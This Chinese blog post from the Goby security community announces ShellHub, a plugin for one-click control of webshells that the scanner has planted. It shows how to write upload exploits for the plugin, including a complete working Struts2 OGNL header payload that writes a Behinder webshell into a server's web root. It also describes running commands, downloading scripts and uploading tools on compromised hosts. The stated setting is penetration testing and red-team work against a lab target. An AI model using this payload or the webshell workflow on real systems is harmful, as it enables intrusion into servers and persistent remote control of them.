插件分享 | ShellHub 让 Goby 打通渗透流程

GobySec  1094天前

73ead79e4de0af9afb184cb545cf2282-258698.png


Goby社区第19 篇插件分享文章

全文共:3589    预计阅读时间:9 分钟


前言: 在渗透 / HVV 中成功拿下一个 webshell 无疑是让人十分激动的,一直以来,Goby 对于一些文件上传类漏洞的 EXP 的利用流程是去尝试获取一个 webshell,webshell 的种类在不受限的情况下默认上传冰蝎马,如果没有问题的话,会打印出 webshell 的 URL,密码,管理的工具,随后用户可以复制这些信息在对应的管理工具中进行连接。 我们一直在想,能不能有更加优雅的方式完成上述的流程,就像 Goby 已有的反弹 shell 功能一样,点击一下 open shell 按钮就能弹出打到的 webshell 的管理界面,用户可以直接对该 webshell 进行操作。为了进一步完善了漏洞的利用流程,优化用户体验,现在,ShellHub 插件来了~


此插件适配 Goby 版本:内测版 Beta 1.9.307

请阅读完文章,在文末可以找到内测版本的获取方式 ↓

0×01 插件展示

首先使用 vulfocus 快速开启一个 struts2 的漏洞环境用于演示

http://vulfocus.fofa.so/

  • 以往的流程:执行 EXP 返回 webshell  相关信息,用户手动复制进管理工具。

  • 使用插件后的流程:执行 EXP 拿到 webshell ——> 一键无缝管理 webshell


0×02 如何编写一个能一键管理的 EXP


要想达到能一键管理的效果,只需要让文件上传类漏洞的 EXP 返回信息中包含:webshell 地址,webshell 连接密码,webshell 连接工具即可,如下示例:

    WebShell URL: http://vulfocus.fofa.so:44482/kGMklMBK.jsp
    Password: JCsiJt
    WebShell tool: Behinder v3.0

    2.1 go 代码 EXP 输出示例

      expResult.Success = true
      // 需要带上换行
      expResult.Output = "Webshell: " + expResult.HostInfo.FixedHostInfo + "/xxxx.jsp\n"
      expResult.Output += "Password:f8082d22\n"
      expResult.Output += "Webshell tool: Behinder v3.0"

      2.2 json EXP 示例

        "set_variable": [
          "file|genshell|exp|B:jsp"
        ]
        // file 代表变量名,可随意指定,该变量实际是一个数组,在http请求头中或请求体时,其值为一个形如
        // <?php echo md5(随机值);unlink(__FILE__);?>
        // exp 代表上传一个 webshell
        // B:jsp 代表生成冰蝎的 jsp 马,同理还有 G:jspRaw 代表哥斯拉的 raw 类型的 jsp 马
        
        "SetVariable": [
            "output|define|shell_info|/xx/yy/{{{随机shell文件名变量}}}
        ]
        // 在 EXP 模式下,在上传了一个 webshell 后,与之配套的就是打印出该 shell 的
        // 连接 URL ,连接 密码(或密钥)
        // shell_info 就是用来打印提示信息的,它会帮助你打印出如下这种输出
        // WebShell URL: http://vulfocus.fofa.so:44482/kGMklMBK.jsp
        // Password: JCsiJt
        // WebShell tool: Behinder v3.0
        // 第四部分只需要填入 shell 的相对路径即可,如 /xx/yy/{{{随机shell文件名变量}}}
        "ExploitSteps": [
            "AND",
            {
                "Request":{
                    "set_variable":[
                        "name|rand|str|8",
                        "name|name|concat|.jsp",
                        "file|genshell|exp|B:jsp"
                    ],
                    "method":"POST",
                    "uri":"/",
                    "follow_redirect":true,
                    "header":{
                        "Content-Type":"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=(@org.apache.struts2.ServletActionContext@getRequest())).(#path1=#req.getRealPath('/')).(#sb=(new java.lang.StringBuilder(#path1))).(#path=#sb.append('/{{{name}}}')).(#shell='{{{file}}}').(#file=new java.io.File(#path)).(#fw=new java.io.FileWriter(#file)).(#fw.write(#shell)).(#fw.flush()).(#fw.close()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getWriter())).(#ros.print('UPLO')).(#ros.println('AD-OK')).(#ros.flush())}"
                    },
                    "data_type":"text",
                    "data":""
                },
                "ResponseTest":{
                    "type":"group",
                    "operation":"AND",
                    "checks":[
                        {
                            "type":"item",
                            "variable":"$body",
                            "operation":"contains",
                            "value":"UPLOAD-OK",
                            "bz":""
                        }
                    ]
                },
                "SetVariable":[
                    "output|define|shell_info|/{{{name}}}"
                ]
            }
        ]

        2.3 ShellHub 功能点

        在写这个插件之初,我们的目的就是为了能连接主流的 webshell ,用于打通漏洞利用流程,后续方便通过代码直接操作 webshell ,比如在获取到 webshell 后自动执行我们指定的命令组、自动下载并执行sh脚本获取系统信息、甚至是上传一些工具直接进行扫描等等。

        目前主流的 webshell 管理工具,冰蝎哥斯拉蚁剑 三足鼎立,思索再三,最后在用户的使用范围广度和习惯上,我们选择了先实现连接冰蝎马。实现的效果就是使用插件可以直接连接冰蝎马(当然目前还有很多不完美的地方),下面是插件目前支持的功能点

        支持的功能点JSPXJSPPHPASPXASP
        基本信息
        文件管理(部分)
        命令执行
        待续...





        0×03 小结 

        于功能点的选择上,我们也没有选择一股脑实现冰蝎已有的全部功能,关于这一点,我们的考虑是,术业有专攻,有冰蝎其他功能需求的可以直接使用冰蝎客户端进行管理,因此我们也打印出了 webshell 的连接地址和密码。当然, 如果用户在使用过程中有其他的需求,也可以与我们交流。

        提示:由于冰蝎使用广泛,其中的 Csharp payload 更是为 dll 文件,存在被报毒的可能性。本插件只修改了 dll 的文件名。

        由于本插件需适配前端 UI 及交互,使用此插件需下载 Goby 内测版 Beta 1.9.307

        内测版本获取:

        • 微信群:公众号 GobySec 发暗号“加群”



        插件开发文档:https://gobies.org/docs.html


        关于插件开发在B站都有详细的教学,欢迎大家到弹幕区合影~


        如果表哥/表姐也想把自己上交给社区(获取红队专版),戳这里领取一份插件任务?

        https://github.com/gobysec/GobyExtension/projects

        文章附件 - shell_manager_demo.mp4

        最新评论

        昵称
        邮箱
        提交评论